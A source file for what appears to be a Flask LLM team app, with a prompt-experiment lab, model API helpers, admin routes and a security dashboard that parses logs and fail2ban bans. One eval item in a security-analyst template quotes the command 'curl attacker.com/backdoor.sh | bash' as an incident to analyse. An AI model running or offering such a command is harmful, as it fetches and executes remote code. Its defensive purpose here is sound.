const el = document.getElementById('results-list');
|
|
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet.</div>'; return; }
|
|
el.innerHTML = experiments.map(e => {
|
|
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
|
|
return `<div class="exp-item" onclick="viewResult(${e.id})">
|
|
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
|
|
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Hit rate: ${rate}%</span></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
async function viewResult(id) {
|
|
const r = await fetch('/api/lab/experiments/' + id);
|
|
const exp = await r.json();
|
|
document.getElementById('result-detail').style.display = '';
|
|
document.getElementById('res-name').textContent = exp.name;
|
|
const trials = (exp.trials || []).map(t => ({trial: t.trial_num, score: t.avg_score, improved: t.improved, best: exp.best_score, diff: t.config_diff}));
|
|
renderChart('res-chart', trials);
|
|
document.getElementById('res-trials').innerHTML = trials.slice(-50).reverse().map(t =>
|
|
`<div class="trial-item">
|
|
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
|
|
<div class="num">#${t.trial}</div>
|
|
<div class="diff">${t.diff || ''}</div>
|
|
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${(t.score||0).toFixed(1)}</div>
|
|
</div>`
|
|
).join('');
|
|
activeExp = exp;
|
|
}
|
|
|
|
function exportBest() {
|
|
if (!activeExp || !activeExp.best_config) return toast('No best config', false);
|
|
const blob = new Blob([JSON.stringify(activeExp.best_config, null, 2)], {type:'application/json'});
|
|
const a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = (activeExp.name||'config').replace(/\s+/g,'_') + '_best.json';
|
|
a.click();
|
|
}
|
|
|
|
function labTab(name) {
|
|
document.querySelectorAll('.tab').forEach(t => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
|
|
document.querySelectorAll('.tc').forEach(c => c.classList.toggle('active', c.id === 'lt-'+name));
|
|
if (name === 'results') loadExperiments();
|
|
}
|
|
|
|
function toast(msg, ok=true) {
|
|
var t = document.createElement('div');
|
|
t.className = 'toast ' + (ok ? 'ok' : 'err');
|
|
t.textContent = ok ? '✓ ' + msg : '✗ ' + msg;
|
|
document.body.appendChild(t);
|
|
setTimeout(function(){ t.style.opacity='0'; t.style.transition='opacity 0.3s'; setTimeout(function(){t.remove()},300); }, 2500);
|
|
}
|
|
|
|
// ─── EXPERIMENT TEMPLATES ───
|
|
var LAB_TEMPLATES = [
|
|
{
|
|
level: 'basic',
|
|
name: 'Better Summaries',
|
|
desc: 'Optimize a model to write concise, accurate summaries. The ratchet engine tweaks the system prompt and temperature until summaries consistently hit the right length and capture key points.',
|
|
objective: 'Generate concise, accurate summaries that capture all key points in 2-3 sentences',
|
|
metric: 'quality',
|
|
config: {system_prompt: 'You are a summarization expert. Write clear, concise summaries.', temperature: 0.5},
|
|
evals: [
|
|
{input: 'Summarize: The mitochondria is the powerhouse of the cell. It produces ATP through cellular respiration, converting glucose and oxygen into energy. This process occurs in the inner membrane through the electron transport chain.', expected: 'A 2-3 sentence summary capturing mitochondria, ATP production, and cellular respiration.'},
|
|
{input: 'Summarize: In 1969, Apollo 11 successfully landed humans on the Moon for the first time. Neil Armstrong and Buzz Aldrin spent about two hours on the lunar surface while Michael Collins orbited above. The mission fulfilled President Kennedy\'s 1961 goal and was watched by 600 million people worldwide.', expected: 'A concise summary mentioning Apollo 11, the astronauts, and the significance.'},
|
|
{input: 'Summarize: Machine learning models can be broadly categorized into supervised learning, unsupervised learning, and reinforcement learning. Supervised learning uses labeled data, unsupervised finds patterns in unlabeled data, and reinforcement learning optimizes through reward signals.', expected: 'Brief overview of the three ML categories with key distinctions.'}
|
|
]
|
|
},
|
|
{
|
|
level: 'intermediate',
|
|
name: 'Code Explainer',
|
|
desc: 'Find the best system prompt and model to explain code to non-programmers. Tests whether the AI can break down technical concepts without using jargon, while remaining accurate.',
|
|
objective: 'Explain code snippets to non-programmers: accurate, jargon-free, uses analogies, under 100 words',
|
|
metric: 'quality',
|
|
config: {system_prompt: 'Explain code to someone who has never programmed. Use everyday analogies. Be accurate but avoid jargon. Keep it under 100 words.', temperature: 0.7},
|
|
evals: [
|
|
{input: 'Explain this code:\nfor i in range(10):\n print(i)', expected: 'Clear explanation of a counting loop using a non-technical analogy.'},
|
|
{input: 'Explain this code:\ndef fibonacci(n):\n if n <= 1: return n\n return fibonacci(n-1) + fibonacci(n-2)', expected: 'Explanation of recursion and the Fibonacci pattern without using the word recursion.'},
|
|
{input: 'Explain this code:\ntry:\n result = 10 / x\nexcept ZeroDivisionError:\n result = 0', expected: 'Explanation of error handling using a real-world safety net analogy.'},
|
|
{input: 'Explain this code:\nusers = {u.name: u for u in database.query(User).filter(active=True)}', expected: 'Explanation of dictionary comprehension and database filtering in plain language.'}
|
|
]
|
|
},
|
|
{
|
|
level: 'advanced',
|
|
name: 'Security Analyst Persona',
|
|
desc: 'Evolve the perfect system prompt for a cybersecurity AI analyst. Tests across threat classification, incident response, vulnerability assessment, and executive communication — all requiring different tones and depths.',
|
|
objective: 'Create an AI security analyst that accurately classifies threats, explains vulnerabilities to both technical and executive audiences, and provides actionable remediation steps',
|
|
metric: 'quality',
|
|
config: {system_prompt: 'You are a senior cybersecurity analyst with 15 years of experience. Provide thorough, accurate security assessments. Adapt your language to the audience. Always include specific, actionable recommendations.', temperature: 0.3},
|
|
evals: [
|
|
{input: 'Classify this log entry: EXPLOIT_SCAN ip=45.33.32.0 path=/.env.production ua=python-requests/2.28', expected: 'Identify as automated scanner targeting environment files, recommend ban, explain risk.'},
|
|
{input: 'Write an executive summary of this vulnerability: Our API endpoint /api/users accepts SQL injection via the search parameter. No parameterized queries are used.', expected: 'Non-technical summary for C-suite explaining business risk and remediation priority.'},
|
|
{input: 'A developer asks: why is storing JWT tokens in localStorage bad?', expected: 'Technical explanation covering XSS risk, comparison to httpOnly cookies, and practical recommendation.'},
|
|
{input: 'Our nginx logs show 500 requests per second from 200 different IPs all hitting /api/login. What is this and what do we do?', expected: 'Identify as distributed brute force, provide immediate response steps and long-term mitigations.'},
|
|
{input: 'We found this in our Docker container: curl attacker.com/backdoor.sh | bash. The container had access to the production database.', expected: 'Incident response: containment, forensics, scope assessment, notification, and remediation plan.'}
|
|
]
|
|
}
|
|
];
|
|
|
|
function renderTemplates() {
|
|
var el = document.getElementById('template-list');
|
|
if (!el) return;
|
|
el.textContent = '';
|
|
var levelColors = {basic:'var(--green)',intermediate:'var(--accent)',advanced:'var(--red)'};
|
|
LAB_TEMPLATES.forEach(function(t, i) {
|
|
var card = document.createElement('div');
|
|
card.style.cssText = 'background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:14px;cursor:pointer;transition:border-color 0.15s';
|
|
card.onmouseenter = function(){card.style.borderColor='var(--accent)'};
|
|
card.onmouseleave = function(){card.style.borderColor='var(--border)'};
|
|
card.onclick = function(){loadTemplate(i)};
|
|
var header = document.createElement('div');
|
|
header.style.cssText = 'display:flex;align-items:center;gap:8px;margin-bottom:6px';
|
|
var level = document.createElement('span');
|
|
level.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;padding:2px 8px;border:1px solid;border-radius:1px;font-weight:700;color:'+levelColors[t.level]+';border-color:'+levelColors[t.level];
|
|
level.textContent = t.level;
|
|
var name = document.createElement('span');
|
|
name.style.cssText = 'font-weight:700;font-size:13px';
|
|
name.textContent = t.name;
|
|
var evCount = document.createElement('span');
|
|
evCount.style.cssText = 'margin-left:auto;font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2)';
|
|
evCount.textContent = t.evals.length + ' eval cases';
|
|
header.appendChild(level); header.appendChild(name); header.appendChild(evCount);
|
|
card.appendChild(header);
|
|
var desc = document.createElement('div');
|
|
desc.style.cssText = 'font-size:12px;color:var(--text2);line-height:1.5';
|
|
desc.textContent = t.desc;
|
|
card.appendChild(desc);
|
|
el.appendChild(card);
|
|
});
|
|
}
|
|
|
|
function loadTemplate(idx) {
|
|
var t = LAB_TEMPLATES[idx];
|
|
showCreate();
|
|
document.getElementById('cr-name').value = t.name;
|
|
document.getElementById('cr-obj').value = t.objective;
|
|
document.getElementById('cr-metric').value = t.metric;
|
|
selectedModels.clear();
|
|
allModels.forEach(function(m){selectedModels.add(m.name)});
|
|
renderModelChips();
|
|
evalRows = t.evals.map(function(e){return {input:e.input, expected:e.expected}});
|
|
renderEvalRows();
|
|
toast('Template loaded: ' + t.name);
|
|
document.getElementById('create-form').scrollIntoView({behavior:'smooth'});
|
|
}
|
|
|
|
renderTemplates();
|
|
|
|
// Background grid
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
|
|
init();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
|
|
# ─── HELPERS ───────────────────────────────────────────────────
|
|
|
|
def _get_timeout(model_id):
|
|
cfg = load_config()
|
|
t = cfg["timeouts"]["per_model"].get(model_id)
|
|
if t:
|
|
return t
|
|
if "::" in model_id:
|
|
prov = model_id.split("::")[0]
|
|
return cfg["providers"].get(prov, {}).get("timeout", cfg["timeouts"]["global"])
|
|
return cfg["providers"].get("ollama", {}).get("timeout", cfg["timeouts"]["global"])
|
|
|
|
|
|
def query_ollama(model, prompt, timeout):
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
# Set num_ctx based on prompt size — Ollama defaults to 2048 which is too small
|
|
prompt_tokens = estimate_tokens(prompt)
|
|
ctx_limit = get_context_limit(model)
|
|
num_ctx = min(max(prompt_tokens + 1024, 2048), ctx_limit)
|
|
# Truncate prompt if it exceeds the model's context window
|
|
if prompt_tokens > ctx_limit - 512:
|
|
prompt = smart_truncate(prompt, ctx_limit - 512)
|
|
resp = requests.post(f"{base}/api/generate", json={
|
|
"model": model, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": num_ctx}
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["response"]
|
|
|
|
|
|
def query_openai_compatible(model, prompt, provider_name, timeout):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(provider_name, {})
|
|
base = prov.get("base_url", "https://openrouter.ai/api/v1")
|
|
api_key = get_api_key(provider_name)
|
|
headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
|
|
if provider_name == "openrouter":
|
|
headers["HTTP-Referer"] = "http://localhost:5000"
|
|
headers["X-Title"] = "LLM Team UI"
|
|
resp = requests.post(f"{base}/chat/completions", headers=headers, json={
|
|
"model": model, "messages": [{"role": "user", "content": prompt}], "stream": False,
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["choices"][0]["message"]["content"]
|
|
|
|
|
|
def query_anthropic(model, prompt, timeout):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get("anthropic", {})
|
|
base = prov.get("base_url", "https://api.anthropic.com/v1")
|
|
api_key = get_api_key("anthropic")
|
|
resp = requests.post(f"{base}/messages", headers={
|
|
"x-api-key": api_key, "anthropic-version": "2023-06-01", "Content-Type": "application/json",
|
|
}, json={
|
|
"model": model, "max_tokens": 4096,
|
|
"messages": [{"role": "user", "content": prompt}],
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["content"][0]["text"]
|
|
|
|
|
|
def query_model(model_id, prompt):
|
|
timeout = _get_timeout(model_id)
|
|
if "::" in model_id:
|
|
provider_name, model_name = model_id.split("::", 1)
|
|
if provider_name == "anthropic":
|
|
return query_anthropic(model_name, prompt, timeout)
|
|
return query_openai_compatible(model_name, prompt, provider_name, timeout)
|
|
return query_ollama(model_id, prompt, timeout)
|
|
|
|
|
|
# ─── CONTEXT MANAGEMENT ───────────────────────────────────────
|
|
|
|
# Context window sizes (tokens) — conservative estimates for safe prompting
|
|
MODEL_CONTEXT = {
|
|
"llama3.2": 4096, "llama3.1": 8192, "llama3": 8192,
|
|
"mistral": 8192, "gemma2": 8192, "gemma3": 32768,
|
|
"qwen2.5": 8192, "qwen3": 32768,
|
|
"gpt-oss": 4096, "gpt-4o": 128000, "gpt-4o-mini": 128000,
|
|
"claude-3": 200000, "claude-sonnet": 200000, "claude-haiku": 200000,
|
|
}
|
|
DEFAULT_CONTEXT = 4096 # safe fallback for unknown models
|
|
MAX_RESPONSE_CHARS = 12000 # cap individual responses (~3K tokens)
|
|
|
|
|
|
def estimate_tokens(text):
|
|
"""Rough token estimate: ~4 chars per token for English."""
|
|
return len(text) // 4 + 1
|
|
|
|
|
|
def get_context_limit(model_id):
|
|
"""Get context window size for a model."""
|
|
name = model_id.split("::")[-1].split(":")[0].lower()
|
|
for key, limit in MODEL_CONTEXT.items():
|
|
if key in name:
|
|
return limit
|
|
# OpenRouter models generally have larger contexts
|
|
if "::" in model_id:
|
|
return 16000
|
|
return DEFAULT_CONTEXT
|
|
|
|
|
|
def smart_truncate(text, max_tokens, preserve_end=200):
|
|
"""Truncate text preserving start and end, with a clear marker."""
|
|
if estimate_tokens(text) <= max_tokens:
|
|
return text
|
|
max_chars = max_tokens * 4
|
|
end_chars = preserve_end * 4
|
|
if max_chars <= end_chars * 2:
|
|
return text[:max_chars]
|
|
start = text[:max_chars - end_chars - 60]
|
|
end = text[-end_chars:]
|
|
return f"{start}\n\n[... truncated {estimate_tokens(text) - max_tokens} tokens ...]\n\n{end}"
|
|
|
|
|
|
def cap_response(text):
|
|
"""Cap a single model response to prevent runaway output."""
|
|
if len(text) <= MAX_RESPONSE_CHARS:
|
|
return text
|
|
return smart_truncate(text, MAX_RESPONSE_CHARS // 4)
|
|
|
|
|
|
def build_context(parts, model_id, reserve_for_response=1024):
|
|
"""Build a prompt from parts, fitting within model's context window.
|
|
|
|
parts: list of (label, text, priority) tuples
|
|
priority: 1=must keep, 2=important, 3=can truncate heavily
|
|
Returns: assembled prompt string that fits in context.
|
|
"""
|
|
limit = get_context_limit(model_id)
|
|
budget = limit - reserve_for_response
|
|
if budget <= 0:
|
|
budget = limit // 2
|
|
|
|
# First pass: measure everything
|
|
total = sum(estimate_tokens(t) for _, t, _ in parts)
|
|
if total <= budget:
|
|
return "\n\n".join(f"{label}\n{text}" if label else text for label, text, _ in parts)
|
|
|
|
# Need to truncate — allocate budget by priority
|
|
p1 = [(l, t, p) for l, t, p in parts if p == 1]
|
|
p2 = [(l, t, p) for l, t, p in parts if p == 2]
|
|
p3 = [(l, t, p) for l, t, p in parts if p == 3]
|
|
|
|
p1_tokens = sum(estimate_tokens(t) for _, t, _ in p1)
|
|
remaining = budget - p1_tokens
|
|
|
|
if remaining <= 0:
|
|
# Even priority 1 doesn't fit — truncate p1
|
|
per_part = budget // max(len(p1), 1)
|
|
result = []
|
|
for label, text, _ in p1:
|
|
result.append(f"{label}\n{smart_truncate(text, per_part)}" if label else smart_truncate(text, per_part))
|
|
return "\n\n".join(result)
|
|
|
|
# Allocate remaining to p2, then p3
|
|
result = [f"{l}\n{t}" if l else t for l, t, _ in p1]
|
|
|
|
for group in [p2, p3]:
|
|
if not group or remaining <= 0:
|
|
continue
|
|
per_part = remaining // max(len(group), 1)
|
|
for label, text, _ in group:
|
|
truncated = smart_truncate(text, max(per_part, 100))
|
|
result.append(f"{label}\n{truncated}" if label else truncated)
|
|
remaining -= estimate_tokens(truncated)
|
|
|
|
return "\n\n".join(result)
|
|
|
|
|
|
def safe_query(model_id, prompt, fallback_summarize=True):
|
|
"""Query with context safety — auto-truncates prompt if too large, retries on overflow errors."""
|
|
limit = get_context_limit(model_id)
|
|
prompt_tokens = estimate_tokens(prompt)
|
|
|
|
# Pre-flight check: truncate if obviously too large
|
|
if prompt_tokens > limit - 500:
|
|
prompt = smart_truncate(prompt, limit - 1000)
|
|
|
|
try:
|
|
response = query_model(model_id, prompt)
|
|
return cap_response(response)
|
|
except Exception as e:
|
|
err = str(e).lower()
|
|
# Detect context overflow errors from various providers
|
|
if any(k in err for k in ["context length", "too many tokens", "maximum context", "token limit",
|
|
"content_too_large", "request too large", "413", "400"]):
|
|
if fallback_summarize:
|
|
# Aggressive truncation and retry
|
|
truncated = smart_truncate(prompt, limit // 2)
|
|
try:
|
|
response = query_model(model_id, truncated)
|
|
return cap_response(response)
|
|
except Exception:
|
|
pass
|
|
return f"[Context overflow: prompt was ~{prompt_tokens} tokens, model limit ~{limit}. Response truncated to fit.]"
|
|
raise
|
|
|
|
|
|
def parallel_safe_query(models, prompt):
|
|
"""Like parallel_query but with context safety on each model."""
|
|
results = {}
|
|
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {pool.submit(safe_query, m, prompt): m for m in models}
|
|
for future in as_completed(futures, timeout=max_timeout):
|
|
model = futures[future]
|
|
try:
|
|
results[model] = future.result(timeout=10)
|
|
except Exception as e:
|
|
results[model] = f"Error: {e}"
|
|
return results
|
|
|
|
|
|
def sse(data):
|
|
return f"data: {json.dumps(data)}\n\n"
|
|
|
|
|
|
def parallel_query(models, prompt):
|
|
"""Query multiple models in parallel with context safety."""
|
|
return parallel_safe_query(models, prompt)
|
|
|
|
|
|
# ─── ROUTES ────────────────────────────────────────────────────
|
|
|
|
@app.route("/")
|
|
@login_required
|
|
def index():
|
|
return render_template_string(HTML)
|
|
|
|
|
|
@app.route("/api/models")
|
|
@login_required
|
|
def get_models():
|
|
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
|
|
cfg = load_config()
|
|
models = []
|
|
# Local Ollama models
|
|
if cfg["providers"]["ollama"].get("enabled", True):
|
|
try:
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
resp = requests.get(f"{base}/api/tags", timeout=10)
|
|
seen = set()
|
|
for m in resp.json().get("models", []):
|
|
full = m["name"]
|
|
short = full.split(":")[0]
|
|
size = m.get("size", 0)
|
|
if short in SKIP or size < 1_000_000 or short in seen:
|
|
continue
|
|
if full in cfg.get("disabled_models", []):
|
|
continue
|
|
seen.add(short)
|
|
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
|
|
"provider": "ollama", "provider_label": "Local",
|
|
"display_name": short})
|
|
except Exception:
|
|
pass
|
|
# Cloud models
|
|
for cm in cfg.get("cloud_models", []):
|
|
if not cm.get("enabled", True):
|
|
continue
|
|
prov = cm["id"].split("::")[0] if "::" in cm["id"] else "cloud"
|
|
if not cfg["providers"].get(prov, {}).get("enabled", False):
|
|
continue
|
|
models.append({"name": cm["id"], "size": cm.get("context", "cloud"),
|
|
"provider": prov, "provider_label": prov.title(),
|
|
"display_name": cm.get("display_name", cm["id"].split("::")[-1])})
|
|
return jsonify({"models": models})
|
|
|
|
|
|
# ─── ADMIN ROUTES ─────────────────────────────────────────────
|
|
|
|
@app.route("/admin")
|
|
@admin_required
|
|
def admin_page():
|
|
return render_template_string(ADMIN_HTML)
|
|
|
|
|
|
@app.route("/api/admin/config", methods=["GET"])
|
|
@admin_required
|
|
def admin_get_config():
|
|
cfg = load_config()
|
|
safe = json.loads(json.dumps(cfg))
|
|
for name, p in safe["providers"].items():
|
|
if p.get("api_key"):
|
|
p["api_key_set"] = True
|
|
p["api_key"] = ""
|
|
else:
|
|
p["api_key_set"] = bool(get_api_key(name))
|
|
return jsonify(safe)
|
|
|
|
|
|
@app.route("/api/admin/config", methods=["POST"])
|
|
@admin_required
|
|
def admin_save_config():
|
|
data = request.json
|
|
cfg = load_config()
|
|
# update providers (preserve existing keys if not sent)
|
|
for name, prov in data.get("providers", {}).items():
|
|
if name in cfg["providers"]:
|
|
new_key = prov.get("api_key", "")
|
|
if not new_key:
|
|
prov["api_key"] = cfg["providers"][name].get("api_key", "")
|
|
cfg["providers"][name].update(prov)
|
|
if "disabled_models" in data:
|
|
cfg["disabled_models"] = data["disabled_models"]
|
|
if "cloud_models" in data:
|
|
cfg["cloud_models"] = data["cloud_models"]
|
|
if "timeouts" in data:
|
|
cfg["timeouts"] = data["timeouts"]
|
|
save_config(cfg)
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/admin/test-provider", methods=["POST"])
|
|
@admin_required
|
|
def admin_test_provider():
|
|
data = request.json
|
|
name = data.get("provider", "")
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(name, {})
|
|
try:
|
|
if name == "ollama":
|
|
r = requests.get(f"{prov.get('base_url', 'http://localhost:11434')}/api/tags", timeout=5)
|
|
count = len(r.json().get("models", []))
|
|
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
|
|
elif name == "openrouter":
|
|
key = data.get("api_key") or get_api_key("openrouter")
|
|
r = requests.get(f"{prov.get('base_url', 'https://openrouter.ai/api/v1')}/models",
|
|
headers={"Authorization": f"Bearer {key}"}, timeout=10)
|
|
count = len(r.json().get("data", []))
|
|
return jsonify({"ok": True, "message": f"Connected. {count} models available."})
|
|
elif name == "openai":
|
|
key = data.get("api_key") or get_api_key("openai")
|
|
r = requests.get(f"{prov.get('base_url', 'https://api.openai.com/v1')}/models",
|
|
headers={"Authorization": f"Bearer {key}"}, timeout=10)
|
|
return jsonify({"ok": True, "message": f"Connected. {len(r.json().get('data', []))} models."})
|
|
elif name == "anthropic":
|
|
key = data.get("api_key") or get_api_key("anthropic")
|
|
r = requests.post(f"{prov.get('base_url', 'https://api.anthropic.com/v1')}/messages",
|
|
headers={"x-api-key": key, "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
|
json={"model": "claude-haiku-4-5-20251001", "max_tokens": 1, "messages": [{"role": "user", "content": "hi"}]},
|
|
timeout=10)
|
|
return jsonify({"ok": True, "message": "Connected to Anthropic."})
|
|
return jsonify({"ok": False, "message": "Unknown provider"})
|
|
except Exception as e:
|
|
return jsonify({"ok": False, "message": str(e)})
|
|
|
|
|
|
_or_models_cache = {"data": None, "ts": 0}
|
|
|
|
@app.route("/api/admin/openrouter/models")
|
|
@admin_required
|
|
def admin_openrouter_models():
|
|
import time
|
|
now = time.time()
|
|
if _or_models_cache["data"] and now - _or_models_cache["ts"] < 300:
|
|
return jsonify({"models": _or_models_cache["data"]})
|
|
key = get_api_key("openrouter")
|
|
headers = {"Authorization": f"Bearer {key}"} if key else {}
|
|
try:
|
|
r = requests.get("https://openrouter.ai/api/v1/models", headers=headers, timeout=15)
|
|
r.raise_for_status()
|
|
free = []
|
|
for m in r.json().get("data", []):
|
|
pricing = m.get("pricing", {})
|
|
if pricing.get("prompt") == "0" and pricing.get("completion") == "0":
|
|
free.append({"id": m["id"], "name": m.get("name", m["id"]),
|
|
"context_length": m.get("context_length", 0)})
|
|
_or_models_cache["data"] = free
|
|
_or_models_cache["ts"] = now
|
|
return jsonify({"models": free})
|
|
except Exception as e:
|
|
return jsonify({"models": [], "error": str(e)})
|
|
|
|
|
|
@app.route("/api/admin/ollama-models")
|
|
@admin_required
|
|
def admin_ollama_models():
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
SKIP = {"nomic-embed-text", "mxbai-embed-large", "all-minilm", "snowflake-arctic-embed"}
|
|
try:
|
|
resp = requests.get(f"{base}/api/tags", timeout=10)
|
|
models = []
|
|
seen = set()
|
|
for m in resp.json().get("models", []):
|
|
full = m["name"]
|
|
short = full.split(":")[0]
|
|
size = m.get("size", 0)
|
|
if short in SKIP or size < 1_000_000 or short in seen:
|
|
continue
|
|
seen.add(short)
|
|
models.append({"name": full, "size": f"{size/(1024**3):.1f} GB",
|
|
"disabled": full in cfg.get("disabled_models", [])})
|
|
return jsonify({"models": models})
|
|
except Exception as e:
|
|
return jsonify({"models": [], "error": str(e)})
|
|
|
|
|
|
# ─── SECURITY DASHBOARD ───────────────────────────────────────
|
|
|
|
@app.route("/api/admin/security")
|
|
@admin_required
|
|
def admin_security_data():
|
|
"""Aggregate security log into IP-level threat intelligence with full fingerprints."""
|
|
import subprocess, collections
|
|
ips = collections.defaultdict(lambda: {
|
|
"hits": 0, "exploit_scans": 0, "login_fails": 0, "rate_limits": 0,
|
|
"first_seen": "", "last_seen": "", "paths": set(), "threat": "low",
|
|
"uas": set(), "methods": collections.Counter(), "log_lines": [],
|
|
"event_types": collections.Counter(), "ai_verdicts": []
|
|
})
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
for line in f:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
parts = line.split(" ", 2)
|
|
if len(parts) < 3:
|
|
continue
|
|
ts = parts[0] + " " + parts[1].split(",")[0]
|
|
rest = parts[2]
|
|
ip_match = None
|
|
for token in rest.split():
|
|
if token.startswith("ip="):
|
|
ip_match = token[3:]
|
|
break
|
|
if not ip_match:
|
|
# Check AI_BAN lines
|
|
if "AI_BAN" in rest or "AI_VERDICT" in rest:
|
|
for token in rest.split():
|
|
if token.startswith("ip="):
|
|
ip_match = token[3:]
|
|
break
|
|
if not ip_match:
|
|
continue
|
|
entry = ips[ip_match]
|
|
entry["hits"] += 1
|
|
if not entry["first_seen"]:
|
|
entry["first_seen"] = ts
|
|
entry["last_seen"] = ts
|
|
# Categorize event
|
|
if "EXPLOIT_SCAN" in rest:
|
|
entry["exploit_scans"] += 1
|
|
entry["event_types"]["exploit_scan"] += 1
|
|
elif "LOGIN_FAILED" in rest:
|
|
entry["login_fails"] += 1
|
|
entry["event_types"]["login_fail"] += 1
|
|
elif "RATE_LIMITED" in rest:
|
|
entry["rate_limits"] += 1
|
|
entry["event_types"]["rate_limit"] += 1
|
|
elif "AI_BAN" in rest:
|
|
entry["event_types"]["ai_ban"] += 1
|
|
elif "MANUAL_BAN" in rest:
|
|
entry["event_types"]["manual_ban"] += 1
|
|
elif "404_HIT" in rest:
|
|
entry["event_types"]["404"] += 1
|
|
# Extract fields
|
|
for token in rest.split():
|
|
if token.startswith("path="):
|
|
entry["paths"].add(token[5:])
|
|
elif token.startswith("method="):
|
|
entry["methods"][token[7:]] += 1
|
|
if "ua=" in rest:
|
|
ua = rest.split("ua=", 1)[1][:80]
|
|
entry["uas"].add(ua)
|
|
# Keep last 15 raw log lines per IP
|
|
entry["log_lines"].append(line)
|
|
if len(entry["log_lines"]) > 15:
|
|
entry["log_lines"].pop(0)
|
|
except Exception:
|
|
pass
|
|
|
|
# Attach AI sentinel verdicts
|
|
for v in _sentinel_results:
|
|
ip = v.get("ip", "")
|
|
if ip in ips:
|
|
ips[ip]["ai_verdicts"].append(v)
|
|
|
|
# Calculate threat level + fingerprint
|
|
for ip, d in ips.items():
|
|
if d["exploit_scans"] >= 3:
|
|
d["threat"] = "critical"
|
|
elif d["exploit_scans"] >= 1:
|
|
d["threat"] = "high"
|
|
elif d["login_fails"] >= 3:
|
|
d["threat"] = "high"
|
|
elif d["hits"] >= 10:
|
|
d["threat"] = "medium"
|
|
# Fingerprint: multiple UAs = rotating scanner
|
|
if len(d["uas"]) >= 3:
|
|
d["threat"] = max(d["threat"], "high", key=["low","medium","high","critical"].index)
|
|
d["paths"] = sorted(d["paths"])[:15]
|
|
d["uas"] = sorted(d["uas"])[:5]
|
|
d["methods"] = dict(d["methods"])
|
|
d["event_types"] = dict(d["event_types"])
|
|
|
|
# Get fail2ban status
|
|
banned = set()
|
|
ban_jails = {}
|
|
for jail in ["llm-team-exploit", "llm-team-login", "nginx-botsearch", "nginx-bad-request", "nginx-forbidden"]:
|
|
try:
|
|
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in result.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
ip = ip.strip()
|
|
if ip:
|
|
banned.add(ip)
|
|
ban_jails.setdefault(ip, []).append(jail)
|
|
except Exception:
|
|
pass
|
|
|
|
# Build sorted result
|
|
sort_by = request.args.get("sort", "hits")
|
|
result = []
|
|
for ip, d in ips.items():
|
|
if ip.startswith("192.168."):
|
|
continue
|
|
result.append({
|
|
"ip": ip, "hits": d["hits"], "exploit_scans": d["exploit_scans"],
|
|
"login_fails": d["login_fails"], "rate_limits": d["rate_limits"],
|
|
"first_seen": d["first_seen"], "last_seen": d["last_seen"],
|
|
"paths": d["paths"], "uas": d["uas"], "methods": d["methods"],
|
|
"event_types": d["event_types"], "threat": d["threat"],
|
|
"banned": ip in banned, "ban_jails": ban_jails.get(ip, []),
|
|
"ua_count": len(d["uas"]),
|
|
"log_lines": d["log_lines"],
|
|
"ai_verdicts": d["ai_verdicts"]
|
|
})
|
|
|
|
# Sort
|
|
threat_order = {"critical": 4, "high": 3, "medium": 2, "low": 1}
|
|
if sort_by == "threat":
|
|
result.sort(key=lambda x: (threat_order.get(x["threat"], 0), x["hits"]), reverse=True)
|
|
elif sort_by == "recent":
|
|
result.sort(key=lambda x: x["last_seen"], reverse=True)
|
|
elif sort_by == "banned":
|
|
result.sort(key=lambda x: (x["banned"], x["hits"]), reverse=True)
|
|
else:
|
|
result.sort(key=lambda x: x["hits"], reverse=True)
|
|
|
|
return jsonify({"ips": result[:100], "total_banned": len(banned), "banned_list": sorted(banned)})
|
